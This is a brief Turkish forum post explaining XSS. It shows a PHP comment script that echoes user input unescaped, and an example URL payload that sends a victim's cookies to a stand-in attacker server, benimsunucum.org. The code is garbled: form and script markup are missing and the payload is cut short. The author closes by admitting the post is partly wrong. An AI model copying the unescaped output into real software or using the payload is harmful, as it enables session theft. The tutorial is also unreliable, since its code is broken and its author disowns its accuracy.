Xss Nedir?

"XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir ."

Hemen bir örnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum.org adresine gönderiliyor.

İsim:

Yorum:

yorum.php
$ad = $_POST['ad'];
$yorum = $_POST['yorum'];
echo "

$ad nın yorumu
";
echo "

$yorum

";
?>

İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum.php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şöyle değiştiriyor:

http://sizinsite.com/yorum.php?ad=osman&yorum=document.location='http://benimsunucum.org/kaydet.php?cookies=' + document

Arkadaşlar bu bilgi biraz yanlış ben bunu düzelticem k.bakmayın